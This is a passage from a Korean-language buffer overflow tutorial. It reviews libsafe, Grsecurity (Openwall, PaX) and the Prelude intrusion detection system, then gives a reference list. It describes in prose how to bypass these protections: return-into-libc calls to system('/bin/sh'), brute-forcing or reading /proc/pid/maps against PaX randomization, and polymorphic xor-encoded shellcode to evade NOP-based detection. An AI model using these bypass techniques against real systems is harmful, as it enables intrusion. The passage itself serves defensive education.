설치는 어렵지 않으므로 이것에 대해서는 독자들의 몫으로 남긴다. 최신 버전을 다운받

아 압축을 풀면 exploit라는 디렉토리가 있는데, 이것은 libsafe가 탐지하는 일련의 exploit

의 모음이다.

이제 libsafe의 한계에 대해서 알아보자. libsafe라고 해서 모든 오버플로우 공격을 막을

수 있는 것은 아니다. 만약 어떤 프로그램이 정적으로 링크되어 있으면 libsafe는 쓸모없게

되어 오버플로우 공격을 막을 수 없게 된다. 리턴 어드레스 위치를 결정하기 위해 libsafe는

gcc 컴파일러의 기능 중의 하나인 끼워 넣어진 프레임 포인터에 의존한다. 컴파일 라인에

–formit-frame-pointer 옵션을 주면 이 기능은 쉡게 비활성화 된다. 이 경우 libsafe는 정상

적으로 작동하지 않으며, 안전 점검을 처리하지 않는다.

libsafe가 여전히 버퍼 오버플로우를 허용하는 예를 하나 살펴보자.

char *strcpy(char *dest, const char *src)

{

………

if((len=strnlen(src, max_size)) == max_size)

_libsafe_die(“Overflow caused by strcpy()”);

real_memcpy(dest, src, len + 1);

return dest;

}

libsafe는 src의 주소와 현재 프레임 포인터의 시작 부분의 주소 사이의 거리를 계산하는 함

수를 구현한다.이 거리는 위의 코드에서는 max_size이다. 이것은 src가 리턴 어드레스를 덮

77

Page 78: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

어쓰지 않고 도달할 수 있는 가장 큰 길이이다. 만약 max_size의 값에 도달하게 되면 예외

가 발생한다. 하지만 오버플로우가 max_size 이하인 이상 버퍼 오버플로우 공격을 할 수

있게 된다. 이럴 경우 libsafe가 실행되고 있더라도 어떤 함수에 대한 포인터, 파일명에 대

한 포인터를 덮어쓸 수 있다.

이러한 한계에도 불구하고 오버플로우를 일으키기 위한 실제 대부분의 exploit가 strcpy

나 gets에 의존하기 때문에 libsafe가 실행되고 있는 시스템은 그렇지 않은 시스템보다 휠

씬 안정전하다고 말할 수 있다.

3-3. Grsecurity

Grsecurity14는 일련의 커널 패치를 제공하는데, 기본적인 방법은 스택과 힙을 비실행

영역으로 만든다. 메모리 영역을 비실행 영역으로 만들기 위해 Open Wall 섹션과 PaX15 섹

션을 제공한다.

Open Wall이 스택에 저장된 코드의 실행을 막는 것은 예상치 않은 이벤트가 발생할 때

do_general_protection 함수로 처리하기 때문이다. Open Wall은 주로 스택 영역을 다루고

있다. 이에 비해 PaX는 스택 및 힙 영역 둘 다 다루고 있다. PaX의 기본적인 아이디어는

PTE(page table entry)이다. PTE와 PaX에 대한 자세한 사항은 PaX의 홈페이지에서

pageexec.txt16

를 참고하자.

역시 완벽한 것은 없다고 했던가. PaX나 Open Wall과 같은 보호 대책을 우회할 수 있

는 방법도 있다. 그 방법은 ‘return-into-libc’ 테크닉이다. 이것은 오버플로우된 버퍼에 위

치한 코드를 실행하는 것이 아니라 이 버퍼를 포함하고 있는 함수를 종료(exit)할 때 라이브

러리 함수를 호출하는 것이다.

이것은 또한 공격한 함수의 리턴 어드레스를 덮어씀으로서 이루어지는데, 쉘코드가 있

는 버퍼의 주소로 리턴 어드레스를 덮어쓰는 것 대신에 libc 함수의 리턴 어드레스로 그것

을 덮어쓴다. 이때의 libc 함수는 대부분 system()이다. 그러면 /bin/sh 같은 문자열 인자를

그것에 전달할 수 있다. 이 테크닉은 우리가 원하는 라이브러리 함수의 주소만 알고 있으면

된다.

이 공격법에 대처하기 위해 PaX는 mmap 무작위 기능을 제공하고 있는데, 이것은 어

떤 프로그램이 실행될 때마다 주어진 함수의 주소를 변경하는 것이다. 이렇게 되면 우리가

호출하고자 원하는 함수가 어디에 있는지 추측하기 불가능해진다.

그러나 불가능이란 것이 있을까. PaX가 제공하는 이 방어를 해결하기 위한 방법이 있다.

그것은 무작위 대입법과 로컬 공격을 위해 /proc 가상 파일 시스템을 사용하는 것이다.

14 http://www.grsecurity.net 15 http://pageexec.virtualave.net 16 http://pageexec.virtualave.net/pageexec.txt

78

Page 79: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

/proc/pid/maps를 이용하면 목표 프로그램이 실행되는 동안 메모리에 있는 함수의 위치를

확인할 수 있다. 좀더 자세한 기법은 프랙 58호에 발표된 Nergal의 “The advanced return-

into-lib(c) exploits”17를 참고하자.

3-4. Prelude

Prelude18는 네트워크 침입 탐지 시스템이다. Prelude는 침입탐지 센스와 보고 서버로

구성되어 있는데, 앞에서 다룬 libsafe가 버퍼 오버플로우 공격 시도를 Prelude에 보고할 수

있다는 점이 흥미롭다.

원격으로 실행되고 있는 버퍼 오버플로우 공격에는 쉘코드가 패킷에 캡슐화되어 전달된

다. Prelude는 쉘코드 플러그인이 조합되어 사용될 경우 이런 공격을 탐지할 수 있다.

Prelude의 가장 최신판은 0.4.219이며(2002년 4월 27일 현재), 여러 모듈 중에서 libprelude,

prelude-report, 그리고 prelude-nids로도 충분하다. Prelude를 적절하게 운용하기 위해 필

요한 모듈들은 http://cvsweb.tuxfamily.org/cvs/?cvsroot=prelude에서 구할 수 있다.

모듈을 설치하는 순서는 libprelude → prelude-report →

prelude-nids이다. 각 모

듈을 설치하는 방법은 다음과 같다.

# ./autogen.sh

# ./configure

# make

# make install

설치가 끝나면 Prelude를 작동시키기 위해 MySQL을 설정할 필요가 있으며, 이것은

prelude.sql 스크립트를 이용하면 된다. 이 스크립트를 필요한 테이블을 만들므로 스크립트

를 실행하기 전에 Prelude용 데이터베이스를 가지고 있어야 한다. Prelude가 적절하게 실행

되도록 하기 위해 사용자를 등록시켜 nids가 관리자와 커뮤니케이션을 할 수 있도록 한다.

이것은 manager-adduser와 sensor-adduser를 이용하면 된다.

그러면 Prelude는 어떻게 오버플로우 공격을 탐지하는 것일까? 원리는 간단하다. 리턴

어드레스를 맞추기 위해 버퍼는 NOP으로 채워질 필요가 있는데, Prelude는 과도한 NOP을

캡처했을 때 침입의 징조로 보는 것이다. NOP은 몇몇 종류가 있으나 대부분의 exploit에서

는 \x90을 많이 사용한다는 것은 다들 잘 알고 있을 것이다. 침입 탐지에 대한 보고는 다음

표와 같다.

17 http://www.phrack.org/show.php?p=58&a=4 18 http://www.prelude-ids.org 19 http://www.prelude-ids.org/download/prelude-0.4.2.tar.gz

79

Page 80: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

Date Attack Source

Host

Source

Port

Target

Host

Target

Port

Thu Jul 5 16:04:40 2001 TELNET - Livingston-DoS 192.168.1.217 24559 192.168.1.116 23

Thu Jul 5 16:04:40 2001 WEB-cat%20 192.168.1.217 55467 192.168.1.116 80

Thu Jul 5 16:04:40 2001 Napster 4444 Data 192.168.1.217 36592 192.168.1.116 4444

Thu Jul 5 16:04:40 2001 OVERFLOW-x86-linux-imapd6 192.168.1.217 23409 192.168.1.116 143

Thu Jul 5 16:04:40 2001 FTP-cwd~root 192.168.1.217 6584 192.168.1.116 21

Thu Jul 5 16:04:40 2001 IDS027 - SCAN-FIN 192.168.1.217 10008 192.168.1.116 29627

Thu Jul 5 16:04:40 2001 Possible NMAP Fingerprint attempt 192.168.1.217 38469 192.168.1.116 21048

Thu Jul 5 16:04:40 2001 OVERFLOW-IRC-client-Chocoa 192.168.1.217 64516 192.168.1.116 23863

Thu Jul 5 16:04:40 2001 Source routed packet 192.168.1.217 24119 192.168.1.116 2729

Thu Jul 5 16:04:40 2001 IDS276 - Bugzilla 2.8 Exploit 192.168.1.217 80 192.168.1.116 17324

Thu Jul 5 16:04:40 2001 FTP-user-root 192.168.1.217 11664 192.168.1.116 21

Thu Jul 5 16:04:40 2001 MISC - Attempt at VQServer Admin 192.168.1.217 45163 192.168.1.116 9090

NOP을 찾는 것은 check_tlb에 다음과 같이 코딩되어 있다.

If (!found)

arch->nop_counter = 0;

if (arch->nop_counter == arch->nop_max) {

arch->continue_checking = -1;

raise_alert(packet, arch);

}

이것은 IP 패킷에 캡슐화되어 있는 쉘코드를 탐지하도록 해준다.

그런데 요즘은 일반적인 exploit에서 사용되지 않는 쉘코드를 사용하지 않는 다형

(polymorphic)의 쉘코드를 사용하는 경우도 있다. 기존의 전형적인 쉘코드는 침입탐지 시스

템에 의해 쉽게 탐지되고 있는 것이 현실이다.

물론 침입탐지 시스템을 설치하지 않은 곳이 더 많을 것이며, 설치했다고 해도 적절한

설정을 하지 못해 무용지물로 남아 있는 경우도 허다하다. 어제 발표된 신문에 우리나라의

보안업체도 외국 해커에 의해서 피해를 입었다는 기사를 본 적이 있다. 완벽하지 않은 방화

벽과 침입탐지 시스템을 설치하고 믿었던 것 때문일 것이다. 보안계에서 절대 믿음은 곧 절

80

Page 81: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

대 파괴로 이어질 수 있다.

기존의 쉘코드에서 탈피한 쉘코드의 예로서 더 복잡한 일련의 명령어로 NOP 시퀸시를

대체하고, 쉘코드를 암호화하는 것 등이다. 아마도 가장 고전적인 방법은 xor 기반의

암호화일 것이다. 그러나 이런 다형의 쉘코드를 탐지하는 방법 또한 있다. 이에 대해서는

NGSEC에서 발표한 “Polymorphic Shellcodes vs. Application IDSs”20라는 글을 참고하길

바란다.

20 http://www.ngsec.com/docs/polymorphic_shellcodes_vs_app_IDSs.PDF

81

Page 82: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

82

4. 참고문헌

1. “The GNU C Library”

(http://www.gnu.org/manual/glibc-2.2.3/html_node/libc_toc.html)

2. anonymous, “Once upon a free()”

(http://www.phrack.org/show.php?p=57&a=9)

3. Aleph1, “Smashing The Stack For Fun And Profit”

(http://www.phrack.org/show.php?p=49&a=14)

4. Matt Conover, “w00w00 on Heap Overflows”

(http://www.w00w00.org/files/articles/heaptut.txt)

5. lamagra, “Omega Project”

(http://lamagra.digibel.be/ezine.html)

6. 성낙운 외, [어셈블리어 언어] (교보문고)

7. “StackGuard”

(http://immunix.org/stackguard.html)

8. scut, “Exploiting Foramt String Vulnerabilities”

(http://teso.scene.at/releases/formatstring-1.2.tar.gz)

9. Pierre-Alain FAYOLLE 외, “A Buffer Overflow Study, Attacks & Defenses”

10. Bulba and Kil3r, “Bypassing StackGuard and StackShield”

(http://www.phrack.org/show.php?p=56&a=5)

11. rix, “Smashing C++ VPTRs”

(http://www.phrack.org/show.php?p=56&a=8)

12. “GDB User Manual”

(http://sources.redhat.com/gdb/current/onlinedocs/gdb_toc.html)

13. NGSEC, “Polymorphic Shellcodes vs. Application IDSs”

(http://www.ngsec.com/docs/polymorphic_shellcodes_vs_app_IDSs.PDF)

14. Nergal, “The advanced return-into-lib(c) exploits”

(http://www.phrack.org/show.php?p=58&a=4)